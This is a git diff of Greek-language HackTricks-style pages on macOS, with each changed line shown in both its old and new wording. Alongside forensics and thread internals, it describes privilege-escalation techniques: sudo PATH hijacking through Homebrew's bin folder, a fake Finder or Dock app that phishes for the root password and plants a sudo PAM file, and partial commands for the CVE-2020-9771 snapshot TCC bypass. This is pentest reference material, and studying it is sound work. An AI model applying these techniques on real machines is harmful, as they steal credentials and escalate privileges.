echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -215,7 +215,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
Η επεκταμένη ιδιότητα `com.apple.decmpfs` υποδεικνύει ότι το αρχείο αποθηκεύεται κρυπτογραφημένο, το `ls -l` θα αναφέρει **μέγεθος 0** και τα συμπιεσμένα δεδομένα βρίσκονται μέσα σε αυτή την ιδιότητα. Όποτε το αρχείο προσπελάζεται, θα αποκρυπτογραφείται στη μνήμη.
Αυτή η ιδιότητα μπορεί να φαίνεται με το `ls -lO` υποδεικνύοντας ότι είναι συμπιεσμένο επειδή τα συμπιεσμένα αρχεία είναι επίσης επισημασμένα με την ετικέτα `UF_COMPRESSED`. Εάν ένα συμπιεσμένο αρχείο αφαιρεθεί με αυτή την ετικέτα `chflags nocompressed </path/to/file>`, το σύστημα δεν θα γνωρίζει ότι το αρχείο ήταν συμπιεσμένο και επομένως δεν θα μπορεί να το αποσυμπιέσει και να προσπελάσει τα δεδομένα (θα νομίζει ότι είναι στην πραγματικότητα κενό).
Αυτή η ιδιότητα μπορεί να φαίνεται με το `ls -lO` υποδεικνύοντας ότι είναι συμπιεσμένο επειδή τα συμπιεσμένα αρχεία είναι επίσης επισημασμένα με την ένδειξη `UF_COMPRESSED`. Εάν ένα συμπιεσμένο αρχείο αφαιρεθεί αυτή η ένδειξη με `chflags nocompressed </path/to/file>`, το σύστημα δεν θα γνωρίζει ότι το αρχείο ήταν συμπιεσμένο και επομένως δεν θα μπορεί να αποσυμπιέσει και να προσπελάσει τα δεδομένα (θα νομίζει ότι είναι στην πραγματικότητα κενό).
Το εργαλείο afscexpand μπορεί να χρησιμοποιηθεί για να αναγκάσει την αποσυμπίεση ενός αρχείου.
@ -237,22 +237,22 @@ macos-memory-dumping.md
## Risk Category Files Mac OS
Ο φάκελος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύεται πληροφορία σχετικά με τον **κίνδυνο που σχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο φάκελος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας το πώς το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής:
Ο κατάλογος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύεται πληροφορία σχετικά με τον **κίνδυνο που σχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο κατάλογος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας το πώς το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής:
- **LSRiskCategorySafe**: Τα αρχεία σε αυτή την κατηγορία θεωρούνται **εντελώς ασφαλή**. Το Safari θα ανοίξει αυτόματα αυτά τα αρχεία μετά τη λήψη τους.
- **LSRiskCategoryNeutral**: Αυτά τα αρχεία δεν συνοδεύονται από προειδοποιήσεις και **δεν ανοίγονται αυτόματα** από το Safari.
- **LSRiskCategoryUnsafeExecutable**: Τα αρχεία κάτω από αυτή την κατηγορία **προκαλούν προειδοποίηση** υποδεικνύοντας ότι το αρχείο είναι εφαρμογή. Αυτό λειτουργεί ως μέτρο ασφαλείας για να ειδοποιήσει τον χρήστη.
- **LSRiskCategoryMayContainUnsafeExecutable**: Αυτή η κατηγορία είναι για αρχεία, όπως τα αρχεία αρχειοθέτησης, που μπορεί να περιέχουν εκτελέσιμο. Το Safari θα **προκαλέσει προειδοποίηση** εκτός αν μπορεί να επαληθεύσει ότι όλα τα περιεχόμενα είναι ασφαλή ή ουδέτερα.
- **LSRiskCategoryNeutral**: Αυτά τα αρχεία δεν συνοδεύονται από προειδοποιήσεις και **δεν ανοίγουν αυτόματα** από το Safari.
- **LSRiskCategoryUnsafeExecutable**: Τα αρχεία κάτω από αυτή την κατηγορία **προκαλούν μια προειδοποίηση** που υποδεικνύει ότι το αρχείο είναι εφαρμογή. Αυτό λειτουργεί ως μέτρο ασφαλείας για να ειδοποιήσει τον χρήστη.
- **LSRiskCategoryMayContainUnsafeExecutable**: Αυτή η κατηγορία είναι για αρχεία, όπως τα αρχεία αρχειοθέτησης, που μπορεί να περιέχουν εκτελέσιμο. Το Safari θα **προκαλέσει μια προειδοποίηση** εκτός αν μπορεί να επαληθεύσει ότι όλα τα περιεχόμενα είναι ασφαλή ή ουδέτερα.
## Log files
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Περιέχει πληροφορίες σχετικά με τα ληφθέντα αρχεία, όπως το URL από το οποίο λήφθηκαν.
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Περιέχει πληροφορίες σχετικά με τα ληφθέντα αρχεία, όπως τη διεύθυνση URL από όπου λήφθηκαν.
- **`/var/log/system.log`**: Κύριο αρχείο καταγραφής των συστημάτων OSX. το com.apple.syslogd.plist είναι υπεύθυνο για την εκτέλεση της καταγραφής συστήματος (μπορείτε να ελέγξετε αν είναι απενεργοποιημένο αναζητώντας "com.apple.syslogd" στο `launchctl list`).
- **`/private/var/log/asl/*.asl`**: Αυτά είναι τα Apple System Logs που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα προσπελασμένα αρχεία και εφαρμογές μέσω του "Finder".
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία που θα εκκινούνται κατά την εκκίνηση του συστήματος.
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα προσπελάσιμα αρχεία και εφαρμογές μέσω του "Finder".
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία που θα εκκινούν κατά την εκκίνηση του συστήματος.
- **`$HOME/Library/Logs/DiskUtility.log`**: Αρχείο καταγραφής για την εφαρμογή DiskUtility (πληροφορίες σχετικά με δίσκους, συμπεριλαμβανομένων των USB).
- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Δεδομένα σχετικά με τα ασύρματα σημεία πρόσβασης.
- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Λίστα με τους απενεργοποιημένους δαίμονες.
- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Λίστα με τους δαίμονες που έχουν απενεργοποιηθεί.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -22,7 +22,7 @@ macos-security-protections/macos-tcc/
### Sudo Hijacking
Μπορείτε να βρείτε την αρχική [τεχνική Sudo Hijacking μέσα στην ανάρτηση Linux Privilege Escalation](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
Μπορείτε να βρείτε την αρχική [Sudo Hijacking technique μέσα στην ανάρτηση Linux Privilege Escalation](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
Ωστόσο, το macOS **διατηρεί** το **`PATH`** του χρήστη όταν εκτελεί **`sudo`**. Αυτό σημαίνει ότι ένας άλλος τρόπος για να επιτευχθεί αυτή η επίθεση θα ήταν να **παρακάμψετε άλλες δυαδικές** που το θύμα θα εκτελέσει όταν **τρέχει sudo:**
```bash
@ -39,7 +39,7 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
Σημειώστε ότι ένας χρήστης που χρησιμοποιεί το τερματικό θα έχει πολύ πιθανό **εγκατεστημένο το Homebrew**. Έτσι, είναι δυνατό να υποκλέψετε δυαδικά αρχεία στο **`/opt/homebrew/bin`**.
Σημειώστε ότι ένας χρήστης που χρησιμοποιεί το τερματικό θα έχει πολύ πιθανό **εγκατεστημένο το Homebrew**. Έτσι, είναι δυνατόν να υποκλέψετε δυαδικά αρχεία στο **`/opt/homebrew/bin`**.
### Υποκρισία Dock
@ -124,8 +124,8 @@ killall Dock
{{#tab name="Finder Impersonation"}}
Ορισμένες προτάσεις:
- Δεν **μπορείτε να αφαιρέσετε τον Finder από το Dock**, οπότε αν σκοπεύετε να τον προσθέσετε στο Dock, μπορείτε να τοποθετήσετε τον ψεύτικο Finder ακριβώς δίπλα στον πραγματικό. Για αυτό χρειάζεται να **προσθέσετε την ψεύτικη καταχώρηση Finder στην αρχή του πίνακα Dock**.
- Μια άλλη επιλογή είναι να μην τον τοποθετήσετε στο Dock και απλώς να τον ανοίξετε, "Finder που ζητά να ελέγξει τον Finder" δεν είναι και τόσο περίεργο.
- Δεν **μπορείτε να αφαιρέσετε τον Finder από το Dock**, οπότε αν σκοπεύετε να τον προσθέσετε στο Dock, μπορείτε να τοποθετήσετε τον ψεύτικο Finder ακριβώς δίπλα στον πραγματικό. Για αυτό χρειάζεται να **προσθέσετε την ψεύτικη καταχώρηση του Finder στην αρχή του πίνακα Dock**.
- Μια άλλη επιλογή είναι να μην τον τοποθετήσετε στο Dock και απλώς να τον ανοίξετε, "Finder που ζητά να ελέγξει τον Finder" δεν είναι τόσο περίεργο.
- Μια άλλη επιλογή για **να αποκτήσετε δικαιώματα root χωρίς να ζητήσετε** τον κωδικό πρόσβασης με ένα απαίσιο παράθυρο, είναι να κάνετε τον Finder να ζητήσει πραγματικά τον κωδικό πρόσβασης για να εκτελέσει μια προνομιούχα ενέργεια:
- Ζητήστε από τον Finder να αντιγράψει στο **`/etc/pam.d`** ένα νέο αρχείο **`sudo`** (Η προτροπή που ζητά τον κωδικό πρόσβασης θα υποδεικνύει ότι "ο Finder θέλει να αντιγράψει το sudo")
- Ζητήστε από τον Finder να αντιγράψει ένα νέο **Authorization Plugin** (Μπορείτε να ελέγξετε το όνομα του αρχείου ώστε η προτροπή που ζητά τον κωδικό πρόσβασης να υποδεικνύει ότι "ο Finder θέλει να αντιγράψει το Finder.bundle")
@ -201,11 +201,11 @@ killall Dock
{{#endtab}}
{{#endtabs}}
## TCC - Εκμετάλλευση Δικαιωμάτων Ρίζας
## TCC - Ανύψωση Δικαιωμάτων Ρίζας
### CVE-2020-9771 - παράκαμψη TCC mount_apfs και εκμετάλλευση δικαιωμάτων
### CVE-2020-9771 - παράκαμψη TCC mount_apfs και ανύψωση δικαιωμάτων
**Οποιοσδήποτε χρήστης** (ακόμα και χωρίς δικαιώματα) μπορεί να δημιουργήσει και να τοποθετήσει ένα στιγμιότυπο μηχανής χρόνου και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\
**Οποιοσδήποτε χρήστης** (ακόμα και αυτοί χωρίς δικαιώματα) μπορεί να δημιουργήσει και να τοποθετήσει ένα στιγμιότυπο μηχανής χρόνου και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\
Η **μόνη προϋπόθεση** είναι η εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`), η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή.
```bash
# Create snapshot
@ -232,6 +232,7 @@ ls /tmp/snap/Users/admin_user # This will work
Αυτό μπορεί να είναι χρήσιμο για την κλιμάκωση δικαιωμάτων:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md
{{#endref}}

View File

@ -7,7 +7,7 @@
Μια διαδικασία είναι μια περίπτωση ενός εκτελέσιμου που τρέχει, ωστόσο οι διαδικασίες δεν εκτελούν κώδικα, αυτές είναι νήματα. Επομένως, **οι διαδικασίες είναι απλώς δοχεία για τρέχοντα νήματα** παρέχοντας τη μνήμη, τους περιγραφείς, τις θύρες, τις άδειες...
Παραδοσιακά, οι διαδικασίες ξεκινούσαν μέσα σε άλλες διαδικασίες (εκτός από το PID 1) καλώντας **`fork`** που θα δημιουργούσε μια ακριβή αντιγραφή της τρέχουσας διαδικασίας και στη συνέχεια η **παιδική διαδικασία** θα καλούσε γενικά **`execve`** για να φορτώσει το νέο εκτελέσιμο και να το εκτελέσει. Στη συνέχεια, εισήχθη το **`vfork`** για να επιταχύνει αυτή τη διαδικασία χωρίς καμία αντιγραφή μνήμης.\
Στη συνέχεια εισήχθη το **`posix_spawn`** συνδυάζοντας **`vfork`** και **`execve`** σε μία κλήση και αποδεχόμενο σημαίες:
Στη συνέχεια, εισήχθη το **`posix_spawn`** συνδυάζοντας **`vfork`** και **`execve`** σε μία κλήση και αποδεχόμενο σημαίες:
- `POSIX_SPAWN_RESETIDS`: Επαναφορά των αποτελεσματικών ταυτοτήτων στις πραγματικές ταυτότητες
- `POSIX_SPAWN_SETPGROUP`: Ορισμός συσχέτισης ομάδας διαδικασιών
@ -27,22 +27,22 @@
### PIDs
Τα PIDs, ταυτοποιητές διαδικασιών, προσδιορίζουν μια μοναδική διαδικασία. Στο XNU, οι **PIDs** είναι **64bit** και αυξάνονται μονοτονικά και **ποτέ δεν επαναλαμβάνονται** (για να αποφεύγονται οι καταχρήσεις).
Τα PIDs, ταυτοτήτες διαδικασιών, προσδιορίζουν μια μοναδική διαδικασία. Στο XNU, οι **PIDs** είναι **64bit** και αυξάνονται μονοτονικά και **ποτέ δεν επαναλαμβάνονται** (για να αποφεύγονται οι καταχρήσεις).
### Process Groups, Sessions & Coalations
**Διαδικασίες** μπορούν να εισαχθούν σε **ομάδες** για να διευκολυνθεί η διαχείρισή τους. Για παράδειγμα, οι εντολές σε ένα script shell θα είναι στην ίδια ομάδα διαδικασιών, έτσι είναι δυνατό να **σημανθούν μαζί** χρησιμοποιώντας kill για παράδειγμα.\
Είναι επίσης δυνατό να **ομαδοποιηθούν οι διαδικασίες σε συνεδρίες**. Όταν μια διαδικασία ξεκινά μια συνεδρία (`setsid(2)`), οι παιδικές διαδικασίες τοποθετούνται μέσα στη συνεδρία, εκτός αν ξεκινήσουν τη δική τους συνεδρία.
**Διαδικασίες** μπορούν να εισαχθούν σε **ομάδες** για να διευκολυνθεί η διαχείρισή τους. Για παράδειγμα, οι εντολές σε ένα σενάριο shell θα είναι στην ίδια ομάδα διαδικασιών, έτσι είναι δυνατή η **σήμανση τους μαζί** χρησιμοποιώντας kill για παράδειγμα.\
Είναι επίσης δυνατή η **ομαδοποίηση διαδικασιών σε συνεδρίες**. Όταν μια διαδικασία ξεκινά μια συνεδρία (`setsid(2)`), οι παιδικές διαδικασίες τοποθετούνται μέσα στη συνεδρία, εκτός αν ξεκινήσουν τη δική τους συνεδρία.
Η συμμαχία είναι ένας άλλος τρόπος ομαδοποίησης διαδικασιών στο Darwin. Μια διαδικασία που εντάσσεται σε μια συμμαχία της επιτρέπει να έχει πρόσβαση σε πόρους πισίνας, μοιράζοντας ένα βιβλίο ή αντιμετωπίζοντας το Jetsam. Οι συμμαχίες έχουν διαφορετικούς ρόλους: Ηγέτης, Υπηρεσία XPC, Επέκταση.
Η συμμαχία είναι ένας άλλος τρόπος ομαδοποίησης διαδικασιών στο Darwin. Μια διαδικασία που συμμετέχει σε μια συμμαχία της επιτρέπει να έχει πρόσβαση σε πόρους πισίνας, μοιράζοντας ένα βιβλίο ή αντιμετωπίζοντας το Jetsam. Οι συμμαχίες έχουν διαφορετικούς ρόλους: Ηγέτης, Υπηρεσία XPC, Επέκταση.
### Credentials & Personae
Κάθε διαδικασία διατηρεί **διαπιστευτήρια** που **προσδιορίζουν τα προνόμιά της** στο σύστημα. Κάθε διαδικασία θα έχει μία κύρια `uid` και μία κύρια `gid` (αν και μπορεί να ανήκει σε πολλές ομάδες).\
Είναι επίσης δυνατό να αλλάξει η ταυτότητα χρήστη και ομάδας αν το δυαδικό αρχείο έχει το bit `setuid/setgid`.\
Κάθε διαδικασία διατηρεί **διαπιστευτήρια** που **προσδιορίζουν τα προνόμια** της στο σύστημα. Κάθε διαδικασία θα έχει μία κύρια `uid` και μία κύρια `gid` (αν και μπορεί να ανήκει σε πολλές ομάδες).\
Είναι επίσης δυνατή η αλλαγή του αναγνωριστικού χρήστη και ομάδας αν το δυαδικό αρχείο έχει το bit `setuid/setgid`.\
Υπάρχουν πολλές συναρτήσεις για **ορισμό νέων uids/gids**.
Η syscall **`persona`** παρέχει ένα **εναλλακτικό** σύνολο **διαπιστευτηρίων**. Η υιοθέτηση μιας persona υποθέτει την uid, gid και τις συμμετοχές ομάδας **ταυτόχρονα**. Στον [**πηγαίο κώδικα**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) είναι δυνατό να βρείτε τη δομή:
Η syscall **`persona`** παρέχει ένα **εναλλακτικό** σύνολο **διαπιστευτηρίων**. Η υιοθέτηση μιας προσωπικότητας υποθέτει την `uid`, `gid` και τις συμμετοχές ομάδας **ταυτόχρονα**. Στον [**κώδικα πηγής**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) είναι δυνατή η εύρεση της δομής:
```c
struct kpersona_info { uint32_t persona_info_version;
uid_t persona_id; /* overlaps with UID */
@ -56,43 +56,43 @@ char persona_name[MAXLOGNAME + 1];
/* TODO: MAC policies?! */
}
```
## Βασικές Πληροφορίες για τα Νήματα
## Threads Basic Information
1. **POSIX Νήματα (pthreads):** Το macOS υποστηρίζει τα POSIX νήματα (`pthreads`), τα οποία είναι μέρος ενός τυπικού API νημάτων για C/C++. Η υλοποίηση των pthreads στο macOS βρίσκεται στο `/usr/lib/system/libsystem_pthread.dylib`, που προέρχεται από το δημόσια διαθέσιμο έργο `libpthread`. Αυτή η βιβλιοθήκη παρέχει τις απαραίτητες συναρτήσεις για τη δημιουργία και διαχείριση νημάτων.
2. **Δημιουργία Νημάτων:** Η συνάρτηση `pthread_create()` χρησιμοποιείται για τη δημιουργία νέων νημάτων. Εσωτερικά, αυτή η συνάρτηση καλεί τη `bsdthread_create()`, η οποία είναι μια χαμηλού επιπέδου κλήση συστήματος συγκεκριμένη για τον πυρήνα XNU (τον πυρήνα στον οποίο βασίζεται το macOS). Αυτή η κλήση συστήματος παίρνει διάφορες σημαίες που προέρχονται από το `pthread_attr` (χαρακτηριστικά) που καθορίζουν τη συμπεριφορά του νήματος, συμπεριλαμβανομένων των πολιτικών προγραμματισμού και του μεγέθους στοίβας.
- **Προεπιλεγμένο Μέγεθος Στοίβας:** Το προεπιλεγμένο μέγεθος στοίβας για νέα νήματα είναι 512 KB, το οποίο είναι επαρκές για τυπικές λειτουργίες αλλά μπορεί να προσαρμοστεί μέσω των χαρακτηριστικών του νήματος αν χρειάζεται περισσότερος ή λιγότερος χώρος.
3. **Αρχικοποίηση Νημάτων:** Η συνάρτηση `__pthread_init()` είναι κρίσιμη κατά τη ρύθμιση του νήματος, χρησιμοποιώντας το επιχείρημα `env[]` για να αναλύσει τις μεταβλητές περιβάλλοντος που μπορεί να περιλαμβάνουν λεπτομέρειες σχετικά με την τοποθεσία και το μέγεθος της στοίβας.
1. **POSIX Threads (pthreads):** Το macOS υποστηρίζει τα POSIX threads (`pthreads`), τα οποία είναι μέρος ενός τυπικού API νημάτων για C/C++. Η υλοποίηση των pthreads στο macOS βρίσκεται στο `/usr/lib/system/libsystem_pthread.dylib`, που προέρχεται από το δημόσια διαθέσιμο έργο `libpthread`. Αυτή η βιβλιοθήκη παρέχει τις απαραίτητες συναρτήσεις για τη δημιουργία και διαχείριση νημάτων.
2. **Creating Threads:** Η συνάρτηση `pthread_create()` χρησιμοποιείται για τη δημιουργία νέων νημάτων. Εσωτερικά, αυτή η συνάρτηση καλεί τη `bsdthread_create()`, η οποία είναι μια χαμηλού επιπέδου κλήση συστήματος συγκεκριμένη για τον πυρήνα XNU (τον πυρήνα στον οποίο βασίζεται το macOS). Αυτή η κλήση συστήματος παίρνει διάφορες σημαίες που προέρχονται από το `pthread_attr` (attributes) που καθορίζουν τη συμπεριφορά του νήματος, συμπεριλαμβανομένων των πολιτικών προγραμματισμού και του μεγέθους στοίβας.
- **Default Stack Size:** Το προεπιλεγμένο μέγεθος στοίβας για νέα νήματα είναι 512 KB, το οποίο είναι επαρκές για τυπικές λειτουργίες αλλά μπορεί να προσαρμοστεί μέσω των χαρακτηριστικών του νήματος αν χρειάζεται περισσότερος ή λιγότερος χώρος.
3. **Thread Initialization:** Η συνάρτηση `__pthread_init()` είναι κρίσιμη κατά τη ρύθμιση του νήματος, χρησιμοποιώντας το επιχείρημα `env[]` για να αναλύσει τις μεταβλητές περιβάλλοντος που μπορεί να περιλαμβάνουν λεπτομέρειες σχετικά με την τοποθεσία και το μέγεθος της στοίβας.
#### Τερματισμός Νημάτων στο macOS
#### Thread Termination in macOS
1. **Έξοδος Νημάτων:** Τα νήματα τερματίζονται συνήθως καλώντας τη `pthread_exit()`. Αυτή η συνάρτηση επιτρέπει σε ένα νήμα να εξέλθει καθαρά, εκτελώντας την απαραίτητη καθαριότητα και επιτρέποντας στο νήμα να στείλει μια τιμή επιστροφής πίσω σε οποιουσδήποτε συμμετέχοντες.
2. **Καθαριότητα Νημάτων:** Κατά την κλήση της `pthread_exit()`, καλείται η συνάρτηση `pthread_terminate()`, η οποία χειρίζεται την αφαίρεση όλων των σχετικών δομών νήματος. Αποδεσμεύει τις θύρες νήματος Mach (Mach είναι το υποσύστημα επικοινωνίας στον πυρήνα XNU) και καλεί τη `bsdthread_terminate`, μια κλήση συστήματος που αφαιρεί τις δομές επιπέδου πυρήνα που σχετίζονται με το νήμα.
1. **Exiting Threads:** Τα νήματα τερματίζονται συνήθως καλώντας τη `pthread_exit()`. Αυτή η συνάρτηση επιτρέπει σε ένα νήμα να εξέλθει καθαρά, εκτελώντας την απαραίτητη καθαριότητα και επιτρέποντας στο νήμα να στείλει μια τιμή επιστροφής πίσω σε οποιουσδήποτε συμμετέχοντες.
2. **Thread Cleanup:** Κατά την κλήση της `pthread_exit()`, καλείται η συνάρτηση `pthread_terminate()`, η οποία χειρίζεται την αφαίρεση όλων των σχετικών δομών νήματος. Αποδεσμεύει τις θύρες νήματος Mach (Mach είναι το υποσύστημα επικοινωνίας στον πυρήνα XNU) και καλεί τη `bsdthread_terminate`, μια κλήση συστήματος που αφαιρεί τις δομές επιπέδου πυρήνα που σχετίζονται με το νήμα.
#### Μηχανισμοί Συγχρονισμού
#### Synchronization Mechanisms
Για να διαχειριστεί την πρόσβαση σε κοινόχρηστους πόρους και να αποφευχθούν οι συνθήκες αγώνα, το macOS παρέχει αρκετές πρωτογενείς συγχρονισμού. Αυτές είναι κρίσιμες σε περιβάλλοντα πολλαπλών νημάτων για να διασφαλιστεί η ακεραιότητα των δεδομένων και η σταθερότητα του συστήματος:
1. **Mutexes:**
- **Κανονικός Mutex (Υπογραφή: 0x4D555458):** Τυπικός mutex με αποτύπωμα μνήμης 60 bytes (56 bytes για τον mutex και 4 bytes για την υπογραφή).
- **Γρήγορος Mutex (Υπογραφή: 0x4d55545A):** Παρόμοιος με έναν κανονικό mutex αλλά βελτιστοποιημένος για ταχύτερες λειτουργίες, επίσης 60 bytes σε μέγεθος.
2. **Μεταβλητές Συνθηκών:**
- Χρησιμοποιούνται για να περιμένουν να συμβούν ορισμένες συνθήκες, με μέγεθος 44 bytes (40 bytes συν μια υπογραφή 4 bytes).
- **Χαρακτηριστικά Μεταβλητών Συνθηκών (Υπογραφή: 0x434e4441):** Χαρακτηριστικά ρύθμισης για μεταβλητές συνθηκών, μεγέθους 12 bytes.
3. **Μεταβλητή Once (Υπογραφή: 0x4f4e4345):**
- Διασφαλίζει ότι ένα κομμάτι κώδικα αρχικοποίησης εκτελείται μόνο μία φορά. Το μέγεθός της είναι 12 bytes.
4. **Κλειδώματα Ανάγνωσης-Γραφής:**
- **Regular Mutex (Signature: 0x4D555458):** Τυπικός mutex με αποτύπωμα μνήμης 60 bytes (56 bytes για τον mutex και 4 bytes για την υπογραφή).
- **Fast Mutex (Signature: 0x4d55545A):** Παρόμοιος με έναν κανονικό mutex αλλά βελτιστοποιημένος για ταχύτερες λειτουργίες, επίσης 60 bytes σε μέγεθος.
2. **Condition Variables:**
- Χρησιμοποιούνται για να περιμένουν για ορισμένες συνθήκες να συμβούν, με μέγεθος 44 bytes (40 bytes συν μια υπογραφή 4 bytes).
- **Condition Variable Attributes (Signature: 0x434e4441):** Χαρακτηριστικά ρύθμισης για τις μεταβλητές συνθηκών, μεγέθους 12 bytes.
3. **Once Variable (Signature: 0x4f4e4345):**
- Διασφαλίζει ότι ένα κομμάτι κώδικα αρχικοποίησης εκτελείται μόνο μία φορά. Το μέγεθός του είναι 12 bytes.
4. **Read-Write Locks:**
- Επιτρέπει σε πολλούς αναγνώστες ή έναν συγγραφέα ταυτόχρονα, διευκολύνοντας την αποδοτική πρόσβαση σε κοινά δεδομένα.
- **Κλείδωμα Ανάγνωσης-Γραφής (Υπογραφή: 0x52574c4b):** Μεγέθους 196 bytes.
- **Χαρακτηριστικά Κλειδώματος Ανάγνωσης-Γραφής (Υπογραφή: 0x52574c41):** Χαρακτηριστικά για κλειδώματα ανάγνωσης-γραφής, 20 bytes σε μέγεθος.
- **Read Write Lock (Signature: 0x52574c4b):** Με μέγεθος 196 bytes.
- **Read Write Lock Attributes (Signature: 0x52574c41):** Χαρακτηριστικά για τους κλειδώματα ανάγνωσης-γραφής, 20 bytes σε μέγεθος.
> [!TIP]
> Τα τελευταία 4 bytes αυτών των αντικειμένων χρησιμοποιούνται για την ανίχνευση υπερχειλίσεων.
### Τοπικές Μεταβλητές Νημάτων (TLV)
### Thread Local Variables (TLV)
**Τοπικές Μεταβλητές Νημάτων (TLV)** στο πλαίσιο των αρχείων Mach-O (η μορφή για εκτελέσιμα στο macOS) χρησιμοποιούνται για να δηλώσουν μεταβλητές που είναι συγκεκριμένες για **κάθε νήμα** σε μια εφαρμογή πολλαπλών νημάτων. Αυτό διασφαλίζει ότι κάθε νήμα έχει τη δική του ξεχωριστή παρουσία μιας μεταβλητής, παρέχοντας έναν τρόπο να αποφευχθούν οι συγκρούσεις και να διατηρηθεί η ακεραιότητα των δεδομένων χωρίς να χρειάζονται ρητοί μηχανισμοί συγχρονισμού όπως οι mutexes.
**Thread Local Variables (TLV)** στο πλαίσιο των αρχείων Mach-O (η μορφή για εκτελέσιμα στο macOS) χρησιμοποιούνται για να δηλώσουν μεταβλητές που είναι συγκεκριμένες για **κάθε νήμα** σε μια εφαρμογή πολλαπλών νημάτων. Αυτό διασφαλίζει ότι κάθε νήμα έχει τη δική του ξεχωριστή παρουσία μιας μεταβλητής, παρέχοντας έναν τρόπο να αποφευχθούν οι συγκρούσεις και να διατηρηθεί η ακεραιότητα των δεδομένων χωρίς να χρειάζονται ρητές μηχανισμοί συγχρονισμού όπως οι mutexes.
Στη C και σε σχετικές γλώσσες, μπορείτε να δηλώσετε μια τοπική μεταβλητή νήματος χρησιμοποιώντας τη λέξη-κλειδί **`__thread`**. Να πώς λειτουργεί στο παράδειγμά σας:
Στην C και τις σχετικές γλώσσες, μπορείτε να δηλώσετε μια μεταβλητή τοπικού νήματος χρησιμοποιώντας τη λέξη-κλειδί **`__thread`**. Να πώς λειτουργεί στο παράδειγμά σας:
```c
cCopy code__thread int tlv_var;
@ -105,7 +105,7 @@ tlv_var = 10;
Στο δυαδικό αρχείο Mach-O, τα δεδομένα που σχετίζονται με τις τοπικές μεταβλητές νήματος οργανώνονται σε συγκεκριμένες ενότητες:
- **`__DATA.__thread_vars`**: Αυτή η ενότητα περιέχει τα μεταδεδομένα σχετικά με τις τοπικές μεταβλητές νήματος, όπως τους τύπους τους και την κατάσταση αρχικοποίησης.
- **`__DATA.__thread_bss`**: Αυτή η ενότητα χρησιμοποιείται για τις τοπικές μεταβλητές νήματος που δεν έχουν αρχικοποιηθεί ρητά. Είναι ένα μέρος της μνήμης που έχει διατεθεί για δεδομένα που έχουν αρχικοποιηθεί σε μηδέν.
- **`__DATA.__thread_bss`**: Αυτή η ενότητα χρησιμοποιείται για τις τοπικές μεταβλητές νήματος που δεν έχουν ρητά αρχικοποιηθεί. Είναι ένα μέρος της μνήμης που έχει διατεθεί για δεδομένα που έχουν αρχικοποιηθεί σε μηδέν.
Το Mach-O παρέχει επίσης μια συγκεκριμένη API που ονομάζεται **`tlv_atexit`** για τη διαχείριση των τοπικών μεταβλητών νήματος όταν ένα νήμα εξέρχεται. Αυτή η API σας επιτρέπει να **καταχωρείτε καταστροφείς**—ειδικές συναρτήσεις που καθαρίζουν τα τοπικά δεδομένα νήματος όταν ένα νήμα τερματίζει.
@ -124,7 +124,7 @@ tlv_var = 10;
#### Κλάσεις Ποιότητας Υπηρεσίας (QoS)
Οι κλάσεις QoS είναι μια πιο σύγχρονη προσέγγιση για τη διαχείριση των προτεραιοτήτων νημάτων, ιδιαίτερα σε συστήματα όπως το macOS που υποστηρίζουν **Grand Central Dispatch (GCD)**. Οι κλάσεις QoS επιτρέπουν στους προγραμματιστές να **κατηγοριοποιούν** τη δουλειά σε διαφορετικά επίπεδα με βάση τη σημασία ή την επείγουσα ανάγκη τους. Το macOS διαχειρίζεται την προτεραιοποίηση νημάτων αυτόματα με βάση αυτές τις κλάσεις QoS:
Οι κλάσεις QoS είναι μια πιο σύγχρονη προσέγγιση για τη διαχείριση των προτεραιοτήτων νημάτων, ιδιαίτερα σε συστήματα όπως το macOS που υποστηρίζουν το **Grand Central Dispatch (GCD)**. Οι κλάσεις QoS επιτρέπουν στους προγραμματιστές να **κατηγοριοποιούν** τη δουλειά σε διαφορετικά επίπεδα με βάση τη σημασία ή την επείγουσα ανάγκη τους. Το macOS διαχειρίζεται την προτεραιότητα των νημάτων αυτόματα με βάση αυτές τις κλάσεις QoS:
1. **Αλληλεπίδραση Χρήστη:**
